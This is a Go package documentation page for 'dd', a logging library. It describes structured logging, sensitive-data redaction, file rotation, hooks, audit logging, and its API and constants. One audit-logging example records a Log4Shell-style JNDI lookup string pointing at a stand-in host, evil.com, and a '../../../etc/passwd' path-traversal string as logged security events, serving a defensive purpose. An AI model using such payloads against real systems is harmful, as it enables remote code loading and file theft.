dd

package module
v1.2.1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Mar 4, 2026 License: MIT Imports: 23 Imported by: 0

README

DD - High-Performance Go Logging Library

Go Version pkg.go.dev License Security Thread Safe

A production-grade high-performance Go logging library with zero external dependencies, designed for modern applications.

📖 中文文档

✨ Key Features

Feature Description
🚀 High Performance 3M+ ops/sec simple logging, optimized for high-throughput
🔒 Thread-Safe Atomic operations + lock-free design, fully concurrent-safe
🛡️ Built-in Security Sensitive data filtering, injection attack prevention
📊 Structured Logging Type-safe fields, JSON/text formats, customizable field names
📁 Smart Rotation Auto-rotate by size, auto-compress, auto-cleanup
📦 Zero Dependencies Only Go standard library
🎯 Easy to Use Get started in 30 seconds with intuitive API
🌐 Cloud-Native JSON format compatible with ELK/Splunk/CloudWatch

📦 Installation

go get github.com/cybergodev/dd

🚀 Quick Start

30-Second Setup
package main

import "github.com/cybergodev/dd"

func main() {
    // Zero setup - use package-level functions
    dd.Debug("Debug message")
    dd.Info("Application started")
    dd.Warn("Cache miss")
    dd.Error("Connection failed")
    // dd.Fatal("Critical error")  // Calls os.Exit(1)

    // Structured logging with fields
    dd.InfoWith("Request processed",
        dd.String("method", "GET"),
        dd.Int("status", 200),
        dd.Float64("duration_ms", 45.67),
    )
}
File Logging
package main

import "github.com/cybergodev/dd"

func main() {
    // One-line file logging
    logger := dd.MustToFile("logs/app.log")
    defer logger.Close()

    logger.Info("Application started")
    logger.InfoWith("User login",
        dd.String("user_id", "12345"),
        dd.String("ip", "192.168.1.100"),
    )
}
Convenience Constructors
// Quick constructors (return error)
logger, err := dd.ToFile()              // → logs/app.log (text)
if err != nil { /* handle error */ }

logger, err = dd.ToJSONFile()          // → logs/app.log (JSON)
if err != nil { /* handle error */ }

logger, err = dd.ToConsole()           // → stdout only
if err != nil { /* handle error */ }

logger, err = dd.ToAll()               // → console + file
if err != nil { /* handle error */ }

// Must* variants (panic on error, return *Logger)
logger := dd.MustToFile("logs/app.log")
logger := dd.MustToJSONFile("logs/app.log")
logger := dd.MustToConsole()
logger := dd.MustToAll("logs/app.log")

defer logger.Close()

📖 Configuration

Preset Configurations
// Production (default) - Info level, text format
logger, err := dd.New(dd.DefaultConfig())

// Development - Debug level, caller info
logger, err := dd.New(dd.DevelopmentConfig())

// Cloud-native - JSON format, debug level
logger, err := dd.New(dd.JSONConfig())
Custom Configuration
cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
cfg.Format = dd.FormatJSON
cfg.DynamicCaller = true  // Show caller file:line

// File output with rotation
cfg.File = &dd.FileConfig{
    Path:       "logs/app.log",
    MaxSizeMB:  100,                 // Rotate at 100MB
    MaxBackups: 10,                  // Keep 10 backups
    MaxAge:     30 * 24 * time.Hour, // Delete after 30 days
    Compress:   true,                // Gzip old files
}

logger, err := dd.New(cfg)
defer logger.Close()
JSON Customization
cfg := dd.JSONConfig()
cfg.JSON.FieldNames = &dd.JSONFieldNames{
    Timestamp: "@timestamp",  // ELK standard
    Level:     "severity",
    Message:   "msg",
    Caller:    "source",
}
cfg.JSON.PrettyPrint = true  // For development

logger, err := dd.New(cfg)

🛡️ Security Features

Sensitive Data Filtering
cfg := dd.DefaultConfig()
cfg.Security = dd.DefaultSecurityConfig()  // Enable basic filtering

logger, err := dd.New(cfg)

// Automatic filtering
logger.Info("password=secret123")           // → password=[REDACTED]
logger.Info("api_key=sk-abc123")            // → api_key=[REDACTED]
logger.Info("credit_card=4532015112830366") // → credit_card=[REDACTED]
logger.Info("email=user@example.com")       // → email=[REDACTED]

Basic Filtering covers: passwords, API keys, credit cards, phone numbers, database URLs

Full Filtering adds: JWTs, AWS keys, IPs, SSNs

cfg.Security = dd.DefaultSecureConfig()  // Full filtering
Custom Patterns
filter := dd.NewEmptySensitiveDataFilter()
filter.AddPatterns(
    `(?i)internal_token[:\s=]+[^\s]+`,
    `(?i)session_id[:\s=]+[^\s]+`,
)

cfg := dd.DefaultConfig()
cfg.Security = &dd.SecurityConfig{
    SensitiveFilter: filter,
}
Disable Security (Max Performance)
cfg := dd.DefaultConfig()
cfg.Security = dd.SecurityConfigForLevel(dd.SecurityLevelDevelopment)

📊 Structured Logging

Field Types
logger.InfoWith("All field types",
    dd.String("user", "alice"),
    dd.Int("count", 42),
    dd.Int64("id", 9876543210),
    dd.Float64("score", 98.5),
    dd.Bool("active", true),
    dd.Time("created_at", time.Now()),
    dd.Duration("elapsed", 150*time.Millisecond),
    dd.Err(errors.New("connection failed")),
    dd.Any("tags", []string{"vip", "premium"}),
)
Context Chaining
// Create logger with persistent fields
userLogger := logger.WithFields(
    dd.String("service", "user-api"),
    dd.String("version", "1.0.0"),
)

// All logs include service and version
userLogger.Info("User authenticated")
userLogger.InfoWith("Profile loaded", dd.String("user_id", "123"))

// Chain more fields
requestLogger := userLogger.WithFields(
    dd.String("request_id", "req-abc-123"),
)
requestLogger.Info("Processing request")

🔧 Output Management

Multiple Outputs
// Console + file
logger := dd.MustToAll("logs/app.log")

// Or use MultiWriter
fileWriter, err := dd.NewFileWriter("logs/app.log")
if err != nil { /* handle error */ }

multiWriter := dd.NewMultiWriter(os.Stdout, fileWriter)

cfg := dd.DefaultConfig()
cfg.Output = multiWriter
logger, err := dd.New(cfg)
Buffered Writes (High Throughput)
fileWriter, err := dd.NewFileWriter("logs/app.log")
if err != nil { /* handle error */ }

bufferedWriter, err := dd.NewBufferedWriter(fileWriter)  // Default 4KB buffer
if err != nil { /* handle error */ }
defer bufferedWriter.Close()  // IMPORTANT: Flush on close

cfg := dd.DefaultConfig()
cfg.Output = bufferedWriter
logger, err := dd.New(cfg)
Dynamic Writer Management
logger, err := dd.New()

fileWriter, err := dd.NewFileWriter("logs/dynamic.log")
if err != nil { /* handle error */ }

logger.AddWriter(fileWriter)        // Add at runtime
logger.RemoveWriter(fileWriter)     // Remove at runtime

fmt.Printf("Writers: %d\n", logger.WriterCount())

🌐 Context & Tracing

Context Keys
ctx := context.Background()
ctx = dd.WithTraceID(ctx, "trace-abc123")
ctx = dd.WithSpanID(ctx, "span-def456")
ctx = dd.WithRequestID(ctx, "req-789xyz")

// Context-aware logging
logger.InfoCtx(ctx, "Processing request")
logger.InfoWithCtx(ctx, "User action", dd.String("action", "login"))
Custom Context Extractors
tenantExtractor := func(ctx context.Context) []dd.Field {
    if tenantID := ctx.Value("tenant_id"); tenantID != nil {
        return []dd.Field{dd.String("tenant_id", tenantID.(string))}
    }
    return nil
}

cfg := dd.DefaultConfig()
cfg.ContextExtractors = []dd.ContextExtractor{tenantExtractor}

🪝 Hooks

hooks := dd.NewHookBuilder().
    BeforeLog(func(ctx context.Context, hctx *dd.HookContext) error {
        fmt.Printf("Before: %s\n", hctx.Message)
        return nil
    }).
    AfterLog(func(ctx context.Context, hctx *dd.HookContext) error {
        fmt.Printf("After: %s\n", hctx.Message)
        return nil
    }).
    OnError(func(ctx context.Context, hctx *dd.HookContext) error {
        fmt.Printf("Error: %v\n", hctx.Error)
        return nil
    }).
    Build()

cfg := dd.DefaultConfig()
cfg.Hooks = hooks

🔐 Audit Logging

// Create audit logger
auditCfg := dd.DefaultAuditConfig()
auditLogger := dd.NewAuditLogger(auditCfg)
defer auditLogger.Close()

// Log security events
auditLogger.LogSensitiveDataRedaction("password=*", "password", "Password redacted")
auditLogger.LogPathTraversalAttempt("../../../etc/passwd", "Path traversal blocked")
auditLogger.LogSecurityViolation("LOG4SHELL", "Pattern detected", map[string]any{
    "input": "${jndi:ldap://evil.com/a}",
})

📝 Log Integrity

// Create signer with secret key
integrityCfg := dd.DefaultIntegrityConfig()
signer, err := dd.NewIntegritySigner(integrityCfg)
if err != nil { /* handle error */ }

// Sign log messages
message := "Critical audit event"
signature := signer.Sign(message)
fmt.Printf("Signed: %s %s\n", message, signature)

// Verify signature
result := dd.VerifyAuditEvent(message+" "+signature, signer)
if result.Valid {
    fmt.Println("Signature valid")
}

📈 Performance

Operation Throughput Memory/Op Allocs/Op
Simple Logging 3.1M ops/sec 200 B 7
Structured (3 fields) 1.9M ops/sec 417 B 12
JSON Format 600K ops/sec 800 B 20
Level Check 2.5B ops/sec 0 B 0
Concurrent (22 goroutines) 68M ops/sec 200 B 7

📚 API Reference

Package-Level Functions
// Simple logging
dd.Debug(args ...any)
dd.Info(args ...any)
dd.Warn(args ...any)
dd.Error(args ...any)
dd.Fatal(args ...any)  // Calls os.Exit(1)

// Formatted logging
dd.Debugf(format string, args ...any)
dd.Infof(format string, args ...any)
dd.Warnf(format string, args ...any)
dd.Errorf(format string, args ...any)
dd.Fatalf(format string, args ...any)

// Structured logging
dd.InfoWith(msg string, fields ...dd.Field)
dd.ErrorWith(msg string, fields ...dd.Field)
// ... DebugWith, WarnWith, FatalWith

// Context-aware logging
dd.InfoCtx(ctx context.Context, args ...any)
dd.InfoWithCtx(ctx context.Context, msg string, fields ...dd.Field)
// ... DebugCtx, WarnCtx, ErrorCtx, FatalCtx

// Global logger management
dd.SetDefault(logger *Logger)
dd.SetLevel(level LogLevel)
dd.GetLevel() LogLevel
Logger Methods
logger, err := dd.New()

// Simple logging
logger.Info(args ...any)
logger.Infof(format string, args ...any)
logger.InfoWith(msg string, fields ...Field)

// Context-aware
logger.InfoCtx(ctx context.Context, args ...any)
logger.InfoWithCtx(ctx context.Context, msg string, fields ...Field)

// Configuration
logger.SetLevel(level LogLevel)
logger.GetLevel() LogLevel
logger.AddWriter(w io.Writer) error
logger.RemoveWriter(w io.Writer) error
logger.Close() error
logger.Flush()

// Context chaining
logger.WithFields(fields ...Field) *LoggerEntry
logger.WithField(key string, value any) *LoggerEntry
Field Constructors
dd.String(key, value string)
dd.Int(key string, value int)
dd.Int64(key string, value int64)
dd.Float64(key string, value float64)
dd.Bool(key string, value bool)
dd.Time(key string, value time.Time)
dd.Duration(key string, value time.Duration)
dd.Err(err error)
dd.ErrWithStack(err error)  // Include stack trace
dd.Any(key string, value any)
Context Functions
// Set context values
dd.WithTraceID(ctx context.Context, id string) context.Context
dd.WithSpanID(ctx context.Context, id string) context.Context
dd.WithRequestID(ctx context.Context, id string) context.Context

// Get context values
dd.GetTraceID(ctx context.Context) string
dd.GetSpanID(ctx context.Context) string
dd.GetRequestID(ctx context.Context) string

📁 Examples

See the examples directory for complete, runnable examples:

File Description
01_quick_start.go Basic usage in 5 minutes
02_structured_logging.go Type-safe fields, WithFields
03_configuration.go Config API, presets, rotation
04_security.go Filtering, custom patterns
05_writers.go File, buffered, multi-writer
06_context_hooks.go Tracing, hooks
07_convenience.go Quick constructors
08_production.go Production patterns
09_advanced.go Sampling, validation
10_audit_integrity.go Audit, integrity

🤝 Contributing

Contributions welcome! Please read the contributing guidelines before submitting PRs.

📄 License

MIT License - See LICENSE file for details.


Crafted with care for the Go community ❤️

If this project helps you, please give it a ⭐️ Star!

Documentation

Overview

Package dd provides convenience constructors for quick logger setup.

Package dd provides a high-performance, thread-safe logging library for Go.

dd (short for "data-driven" or "distributed debugger") is designed for production workloads with a focus on performance, security, and structured logging. It provides multiple output formats, sensitive data filtering, and seamless context integration.

Features

  • Thread-safe: All operations are safe for concurrent use
  • Multiple log levels: Debug, Info, Warn, Error, Fatal
  • Flexible output: Console, file, or any io.Writer
  • Structured logging: Key-value field support with type-safe helpers
  • JSON format: Built-in JSON output with configurable field names
  • Sensitive data filtering: Automatic redaction of passwords, tokens, etc.
  • Context integration: Extract trace IDs and request IDs from context
  • Log rotation: Built-in file rotation with compression support
  • Lifecycle hooks: Extensible hook system for custom behavior
  • Log sampling: Reduce log volume in high-throughput scenarios
  • Zero allocations: Optimized for minimal GC pressure

Quick Start

Basic usage:

package main

import "github.com/cybergodev/dd"

func main() {
    // Create a logger with default settings
    logger, _ := dd.New()

    // Simple logging
    logger.Info("Application started")
    logger.Errorf("User %s logged in", "john")

    // Structured logging
    logger.InfoWith("Request processed",
        dd.String("method", "GET"),
        dd.Int("status", 200),
        dd.Duration("latency", 150*time.Millisecond),
    )

    // Clean up
    logger.Close()
}

Configuration

Using Config struct (recommended):

cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
cfg.Format = dd.FormatJSON
cfg.DynamicCaller = true
logger, _ := dd.New(cfg)

With file output:

cfg := dd.DefaultConfig()
cfg.File = &dd.FileConfig{
    Path:       "app.log",
    MaxSizeMB:  100,
    MaxBackups: 10,
    Compress:   true,
}
logger, _ := dd.New(cfg)

Using presets:

// Development preset
logger := dd.Must(dd.DevelopmentConfig())

// JSON preset
logger := dd.Must(dd.JSONConfig())

Structured Logging

Create type-safe fields:

logger.InfoWith("User action",
    dd.String("user_id", "123"),
    dd.String("action", "login"),
    dd.Time("timestamp", time.Now()),
    dd.Err(err),
)

Chain fields for reuse:

userLogger := logger.WithFields(dd.String("user_id", "123"))
userLogger.Info("Login successful")
userLogger.Error("Permission denied")

Context Integration

Use type-safe context keys for tracing:

ctx := dd.WithTraceID(context.Background(), "trace-123")
ctx = dd.WithSpanID(ctx, "span-456")
ctx = dd.WithRequestID(ctx, "req-789")

logger.InfoCtx(ctx, "Processing request")
// Output will include trace_id, span_id, and request_id fields

Sensitive Data Filtering

Enable automatic filtering of sensitive data:

cfg := dd.DefaultConfig()
cfg.Security = dd.DefaultSecurityConfig()
logger, _ := dd.New(cfg)

logger.Info("User logged in", "password", "secret123")
// Output: User logged in password=***REDACTED***

File Output with Rotation

cfg := dd.DefaultConfig()
cfg.File = &dd.FileConfig{
    Path:       "logs/app.log",
    MaxSizeMB:  100,
    MaxBackups: 5,
    MaxAge:     7 * 24 * time.Hour,
    Compress:   true,
}
cfg.Format = dd.FormatJSON
logger, _ := dd.New(cfg)

Interface for Testing

Use the LogProvider interface for dependency injection:

type Service struct {
    logger dd.LogProvider
}

func NewService(logger dd.LogProvider) *Service {
    return &Service{logger: logger}
}

Performance

dd is optimized for high-throughput scenarios:

  • Sync.Pool for message buffer reuse
  • Atomic operations for thread-safe state
  • Lock-free reads for writers and extractors
  • Minimal allocations in hot paths

Log Levels

From lowest to highest priority:

  • LevelDebug: Detailed information for debugging
  • LevelInfo: General operational information
  • LevelWarn: Warning conditions that may indicate problems
  • LevelError: Error conditions that should be investigated
  • LevelFatal: Severe errors that require program termination

Thread Safety

All Logger methods are safe for concurrent use. You can:

  • Share a single logger across goroutines
  • Add/remove writers at runtime
  • Change log level dynamically
  • Modify context extractors and hooks

Graceful Shutdown

Always close the logger before exit:

logger.Close()

For Fatal logs, use custom fatal handler:

cfg := dd.DefaultConfig()
cfg.FatalHandler = func() {
    // Custom cleanup
    logger.Close()
    os.Exit(1)
}
logger, _ := dd.New(cfg)

Package dd provides field validation functionality for structured logging.

Package dd provides a high-performance, thread-safe logging library.

Index

Constants

View Source
const (
	// DefaultBufferSize is the initial capacity for message buffers.
	// 1024 bytes covers most typical log messages without reallocation.
	DefaultBufferSize = 1024

	// MaxBufferSize is the maximum buffer capacity returned to the pool.
	// Buffers larger than 4KB are replaced with default-sized buffers to
	// prevent memory bloat from occasional large messages. This value
	// balances memory efficiency with performance for typical workloads.
	MaxBufferSize = 4 * 1024
)
View Source
const (
	// MaxPathLength limits file paths to 4096 bytes (POSIX PATH_MAX).
	// Prevents path traversal attacks and memory exhaustion from malicious paths.
	MaxPathLength = 4096

	// MaxMessageSize limits formatted log messages to 5MB.
	// This prevents memory exhaustion from extremely large log entries while
	// allowing substantial content (e.g., stack traces with context).
	MaxMessageSize = 5 * 1024 * 1024

	// MaxInputLength limits input for sensitive data filtering to 256KB.
	// Beyond this size, filtering becomes CPU-intensive. The boundary-aware
	// truncation ensures sensitive data is still detected at the edges.
	MaxInputLength = 256 * 1024

	// MaxWriterCount limits concurrent writers to 100.
	// This prevents resource exhaustion from misconfigured loggers while
	// allowing reasonable multi-output scenarios (file + stdout + network).
	MaxWriterCount = 100

	// MaxPatternLength limits regex patterns to 1000 characters.
	// Longer patterns are rarely needed and may indicate ReDoS attempts.
	MaxPatternLength = 1000

	// MaxQuantifierRange limits regex quantifier ranges (e.g., {1,1000}).
	// Prevents ReDoS attacks with patterns like (a{1,1000000})+.
	MaxQuantifierRange = 1000

	// MaxRecursionDepth limits recursive filtering of nested structures.
	// Prevents stack overflow from deeply nested or circular data.
	MaxRecursionDepth = 100
)
View Source
const (
	MaxBackupCount = 1000
	MaxFileSizeMB  = 10240
)
View Source
const (
	DefaultMaxSizeMB    = 100
	DefaultMaxBackups   = 10
	DefaultMaxAge       = 30 * 24 * time.Hour
	DefaultBufferSizeKB = 1
	MaxBufferSizeKB     = 10 * 1024
	AutoFlushThreshold  = 2
	AutoFlushInterval   = 100 * time.Millisecond
)
View Source
const (
	// DefaultFilterTimeout is the maximum time for sensitive data filtering.
	// This timeout protects against ReDoS (Regular Expression Denial of Service)
	// attacks on malicious input with complex regex patterns.
	// 50ms provides reasonable protection while allowing thorough filtering.
	DefaultFilterTimeout = 50 * time.Millisecond

	// EmptyFilterTimeout is used for filters with no patterns.
	// Shorter timeout since minimal processing is needed.
	EmptyFilterTimeout = 10 * time.Millisecond

	// MaxConcurrentFilters limits concurrent regex filtering goroutines.
	// Prevents resource exhaustion in high-concurrency scenarios.
	MaxConcurrentFilters = 100

	// FilterMediumInputThreshold is the input size threshold for synchronous chunked processing.
	// Inputs between FastPathThreshold and this value use synchronous chunked processing.
	// Inputs larger than this use async processing with timeout protection.
	FilterMediumInputThreshold = 100 * FastPathThreshold // 10KB

	// FilterDirectProcessThreshold is the maximum input size for direct processing
	// without chunking during timeout-protected filtering.
	FilterDirectProcessThreshold = 32 * 1024 // 32KB

	// FilterChunkSize is the size of chunks for processing large inputs.
	FilterChunkSize = 4096 // 4KB
)
View Source
const (
	DefaultTimeFormat = "2006-01-02T15:04:05Z07:00"
	DevTimeFormat     = "15:04:05.000"
)
View Source
const (
	// DefaultFatalFlushTimeout is the maximum time to wait for logger flush
	// during fatal log handling. This ensures the program can exit even if
	// the underlying writer is blocked or unresponsive.
	DefaultFatalFlushTimeout = 5 * time.Second

	// DefaultLoggerCloseDelay is the delay before closing an old logger
	// when SetDefault() is called with a new logger. This allows in-flight
	// log operations to complete before the old logger is closed.
	DefaultLoggerCloseDelay = 100 * time.Millisecond
)
View Source
const (
	DefaultJSONIndent = "  "
	// FastPathThreshold is the input length threshold (bytes) below which
	// regex filtering skips chunking and timeout protection.
	// Small inputs are processed directly for better performance.
	FastPathThreshold = 100

	// BoundaryCheckSize is the size of the boundary region to check for sensitive data
	// when truncating input. This ensures patterns spanning the truncation boundary
	// are still detected and redacted.
	// Set to 512 to cover most sensitive data patterns (credit cards, SSNs, API keys, etc.)
	BoundaryCheckSize = 512

	// ChunkOverlapSize is the overlap size between chunks during chunked filtering.
	// This ensures sensitive data patterns that span chunk boundaries are still detected.
	// Must be >= maximum expected sensitive pattern length.
	ChunkOverlapSize = 512
)
View Source
const (
	// DefaultMaxMessagesPerSecond is the default rate limit for log messages.
	// This prevents log flooding attacks while allowing reasonable throughput.
	DefaultMaxMessagesPerSecond = 10000

	// DefaultMaxBytesPerSecond is the default byte rate limit (10MB).
	// This prevents memory exhaustion from large log messages.
	DefaultMaxBytesPerSecond = 10 * 1024 * 1024

	// DefaultBurstSize is the default burst capacity for the token bucket.
	// Allows temporary spikes in log volume without dropping messages.
	DefaultBurstSize = 1000

	// DefaultSamplingRate is the default sampling rate when rate limiting.
	// Keeps 1 in 100 messages when rate limited.
	DefaultSamplingRate = 100
)

Rate limiting constants for DoS protection.

View Source
const (
	ErrCodeNilConfig          = "NIL_CONFIG"
	ErrCodeNilWriter          = "NIL_WRITER"
	ErrCodeNilFilter          = "NIL_FILTER"
	ErrCodeNilHook            = "NIL_HOOK"
	ErrCodeNilExtractor       = "NIL_EXTRACTOR"
	ErrCodeLoggerClosed       = "LOGGER_CLOSED"
	ErrCodeWriterNotFound     = "WRITER_NOT_FOUND"
	ErrCodeInvalidLevel       = "INVALID_LEVEL"
	ErrCodeInvalidFormat      = "INVALID_FORMAT"
	ErrCodeMaxWritersExceeded = "MAX_WRITERS_EXCEEDED"
	ErrCodeEmptyFilePath      = "EMPTY_FILE_PATH"
	ErrCodePathTooLong        = "PATH_TOO_LONG"
	ErrCodePathTraversal      = "PATH_TRAVERSAL"
	ErrCodeNullByte           = "NULL_BYTE"
	ErrCodeInvalidPath        = "INVALID_PATH"
	ErrCodeSymlinkNotAllowed  = "SYMLINK_NOT_ALLOWED"
	ErrCodeHardlinkNotAllowed = "HARDLINK_NOT_ALLOWED"
	ErrCodeOverlongEncoding   = "OVERLONG_ENCODING"
	ErrCodeMaxSizeExceeded    = "MAX_SIZE_EXCEEDED"
	ErrCodeMaxBackupsExceeded = "MAX_BACKUPS_EXCEEDED"
	ErrCodeBufferSizeTooLarge = "BUFFER_SIZE_TOO_LARGE"
	ErrCodeInvalidPattern     = "INVALID_PATTERN"
	ErrCodeEmptyPattern       = "EMPTY_PATTERN"
	ErrCodePatternTooLong     = "PATTERN_TOO_LONG"
	ErrCodeReDoSPattern       = "REDOS_PATTERN"
	ErrCodePatternFailed      = "PATTERN_FAILED"
	ErrCodeConfigValidation   = "CONFIG_VALIDATION"
	ErrCodeWriterAdd          = "WRITER_ADD"
	ErrCodeMultipleConfigs    = "MULTIPLE_CONFIGS"
)

Error codes for structured error handling. These codes enable programmatic error matching using errors.Is() and errors.As().

View Source
const (
	LevelDebug = internal.LevelDebug
	LevelInfo  = internal.LevelInfo
	LevelWarn  = internal.LevelWarn
	LevelError = internal.LevelError
	LevelFatal = internal.LevelFatal
)
View Source
const (
	// DebugVisualizationDepth is the caller depth for debug visualization functions.
	// Value of 2 means: 0 = current function, 1 = caller, 2 = caller's caller.
	DebugVisualizationDepth = 2
)
View Source
const (
	// DefaultCallerDepth is the number of stack frames to skip when
	// determining the caller of a log function.
	// Value 3 accounts for: runtime.Caller -> GetCaller -> Log method -> user code
	DefaultCallerDepth = 3
)
View Source
const DefaultLogPath = "logs/app.log"

DefaultLogPath is the default path for log files.

View Source
const (
	// DirPermissions is the permission mode for creating directories (rwx------).
	DirPermissions = 0700
)

File system permission constants.

Variables

View Source
var (
	ErrNilConfig          = errors.New("config cannot be nil")
	ErrNilWriter          = errors.New("writer cannot be nil")
	ErrNilFilter          = errors.New("filter cannot be nil")
	ErrNilHook            = errors.New("hook cannot be nil")
	ErrNilExtractor       = errors.New("context extractor cannot be nil")
	ErrLoggerClosed       = errors.New("logger is closed")
	ErrWriterNotFound     = errors.New("writer not found")
	ErrInvalidLevel       = errors.New("invalid log level")
	ErrInvalidFormat      = errors.New("invalid log format")
	ErrMaxWritersExceeded = errors.New("maximum writer count exceeded")
	ErrEmptyFilePath      = errors.New("file path cannot be empty")
	ErrPathTooLong        = errors.New("file path too long")
	ErrPathTraversal      = errors.New("path traversal detected")
	ErrNullByte           = errors.New("null byte in input")
	ErrInvalidPath        = errors.New("invalid file path")
	ErrSymlinkNotAllowed  = errors.New("symlinks not allowed")
	ErrHardlinkNotAllowed = errors.New("hardlinks not allowed")
	ErrOverlongEncoding   = errors.New("UTF-8 overlong encoding detected")
	ErrMaxSizeExceeded    = errors.New("maximum size exceeded")
	ErrMaxBackupsExceeded = errors.New("maximum backup count exceeded")
	ErrBufferSizeTooLarge = errors.New("buffer size too large")
	ErrInvalidPattern     = errors.New("invalid regex pattern")
	ErrEmptyPattern       = errors.New("pattern cannot be empty")
	ErrPatternTooLong     = errors.New("pattern length exceeds maximum")
	ErrReDoSPattern       = errors.New("pattern contains dangerous nested quantifiers that may cause ReDoS")
	ErrPatternFailed      = errors.New("failed to add pattern")
	ErrConfigValidation   = errors.New("configuration validation failed")
	ErrWriterAdd          = errors.New("failed to add writer")
	ErrMultipleConfigs    = errors.New("multiple configs provided, expected 0 or 1")
)

Sentinel errors for backward compatibility. These can be used with errors.Is() for simple error matching.

Functions

func AddWriter added in v1.2.0

func AddWriter(writer io.Writer) error

AddWriter adds a writer to the default logger.

func Debug

func Debug(args ...any)

func DebugCtx added in v1.2.0

func DebugCtx(ctx context.Context, args ...any)

DebugCtx logs a debug message with context support using the default logger.

func DebugWith

func DebugWith(msg string, fields ...Field)

DebugWith logs a structured debug message with the default logger.

func DebugWithCtx added in v1.2.0

func DebugWithCtx(ctx context.Context, msg string, fields ...Field)

DebugWithCtx logs a structured debug message with context support using the default logger.

func Debugf

func Debugf(format string, args ...any)

func DebugfCtx added in v1.2.0

func DebugfCtx(ctx context.Context, format string, args ...any)

DebugfCtx logs a formatted debug message with context support using the default logger.

func DefaultHookErrorHandler added in v1.2.0

func DefaultHookErrorHandler(event HookEvent, hookCtx *HookContext, err error)

DefaultHookErrorHandler logs hook errors to stderr. This is the default error handler used when no custom handler is set.

func DefaultInitError added in v1.2.0

func DefaultInitError() error

DefaultInitError returns the error that occurred during default logger initialization. Returns nil if initialization was successful or hasn't occurred yet. This allows applications to detect if the default logger is running in fallback mode.

Example:

logger := dd.Default()
if err := dd.DefaultInitError(); err != nil {
    log.Printf("Warning: default logger initialized with error: %v", err)
}

func DefaultUsedFallback added in v1.2.0

func DefaultUsedFallback() bool

DefaultUsedFallback returns true if the default logger was created using a fallback configuration due to an initialization error. This indicates the default logger may not be configured as expected.

func Error

func Error(args ...any)

func ErrorCtx added in v1.2.0

func ErrorCtx(ctx context.Context, args ...any)

ErrorCtx logs an error message with context support using the default logger.

func ErrorWith

func ErrorWith(msg string, fields ...Field)

ErrorWith logs a structured error message with the default logger.

func ErrorWithCtx added in v1.2.0

func ErrorWithCtx(ctx context.Context, msg string, fields ...Field)

ErrorWithCtx logs a structured error message with context support using the default logger.

func Errorf

func Errorf(format string, args ...any)

func ErrorfCtx added in v1.2.0

func ErrorfCtx(ctx context.Context, format string, args ...any)

ErrorfCtx logs a formatted error message with context support using the default logger.

func Exit added in v1.0.3

func Exit(data ...any)

Exit outputs data as pretty-printed JSON to stdout and exits with code 0.

func Exitf added in v1.0.3

func Exitf(format string, args ...any)

Exitf outputs formatted data to stdout with caller info and exits with code 0.

func Fatal

func Fatal(args ...any)

Fatal logs a message at FATAL level using the default logger and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use Error() with custom logic.

func FatalCtx added in v1.2.0

func FatalCtx(ctx context.Context, args ...any)

FatalCtx logs a fatal message with context support using the default logger.

func FatalWith

func FatalWith(msg string, fields ...Field)

FatalWith logs a structured fatal message with the default logger and exits. WARNING: defer statements will NOT execute. For graceful shutdown, use ErrorWith() with custom logic.

func FatalWithCtx added in v1.2.0

func FatalWithCtx(ctx context.Context, msg string, fields ...Field)

FatalWithCtx logs a structured fatal message with context support using the default logger.

func Fatalf

func Fatalf(format string, args ...any)

Fatalf logs a formatted message at FATAL level using the default logger and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use Errorf() with custom logic.

func FatalfCtx added in v1.2.0

func FatalfCtx(ctx context.Context, format string, args ...any)

FatalfCtx logs a formatted fatal message with context support using the default logger.

func Flush added in v1.2.0

func Flush() error

Flush flushes any buffered data in the default logger.

func GetRequestID added in v1.2.0

func GetRequestID(ctx context.Context) string

GetRequestID retrieves the request ID from the context. Returns an empty string if no request ID is found.

Example:

requestID := dd.GetRequestID(ctx)
if requestID != "" {
    // Request ID is present
}

func GetSpanID added in v1.2.0

func GetSpanID(ctx context.Context) string

GetSpanID retrieves the span ID from the context. Returns an empty string if no span ID is found.

Example:

spanID := dd.GetSpanID(ctx)
if spanID != "" {
    // Span ID is present
}

func GetTraceID added in v1.2.0

func GetTraceID(ctx context.Context) string

GetTraceID retrieves the trace ID from the context. Returns an empty string if no trace ID is found.

Example:

traceID := dd.GetTraceID(ctx)
if traceID != "" {
    // Trace ID is present
}

func Info

func Info(args ...any)

func InfoCtx added in v1.2.0

func InfoCtx(ctx context.Context, args ...any)

InfoCtx logs an info message with context support using the default logger.

func InfoWith

func InfoWith(msg string, fields ...Field)

InfoWith logs a structured info message with the default logger.

func InfoWithCtx added in v1.2.0

func InfoWithCtx(ctx context.Context, msg string, fields ...Field)

InfoWithCtx logs a structured info message with context support using the default logger.

func Infof

func Infof(format string, args ...any)

func InfofCtx added in v1.2.0

func InfofCtx(ctx context.Context, format string, args ...any)

InfofCtx logs a formatted info message with context support using the default logger.

func IsDebugEnabled added in v1.2.0

func IsDebugEnabled() bool

IsDebugEnabled checks if DEBUG level is enabled for the default logger.

func IsErrorEnabled added in v1.2.0

func IsErrorEnabled() bool

IsErrorEnabled checks if ERROR level is enabled for the default logger.

func IsFatalEnabled added in v1.2.0

func IsFatalEnabled() bool

IsFatalEnabled checks if FATAL level is enabled for the default logger.

func IsInfoEnabled added in v1.2.0

func IsInfoEnabled() bool

IsInfoEnabled checks if INFO level is enabled for the default logger.

func IsLevelEnabled added in v1.2.0

func IsLevelEnabled(level LogLevel) bool

IsLevelEnabled checks if the specified log level is enabled for the default logger.

func IsWarnEnabled added in v1.2.0

func IsWarnEnabled() bool

IsWarnEnabled checks if WARN level is enabled for the default logger.

func JSON added in v1.1.1

func JSON(data ...any)

JSON outputs data as compact JSON to stdout with caller info for debugging.

func JSONF added in v1.1.1

func JSONF(format string, args ...any)

JSONF outputs formatted data as compact JSON to stdout with caller info for debugging.

func Log added in v1.2.0

func Log(level LogLevel, args ...any)

Log logs a message at the specified level using the default logger.

func LogCtx added in v1.2.0

func LogCtx(ctx context.Context, level LogLevel, args ...any)

LogCtx logs a message at the specified level with context using the default logger.

func LogWith added in v1.2.0

func LogWith(level LogLevel, msg string, fields ...Field)

LogWith logs a structured message at the specified level using the default logger.

func LogWithCtx added in v1.2.0

func LogWithCtx(ctx context.Context, level LogLevel, msg string, fields ...Field)

LogWithCtx logs a structured message at the specified level with context using the default logger.

func Logf added in v1.2.0

func Logf(level LogLevel, format string, args ...any)

Logf logs a formatted message at the specified level using the default logger.

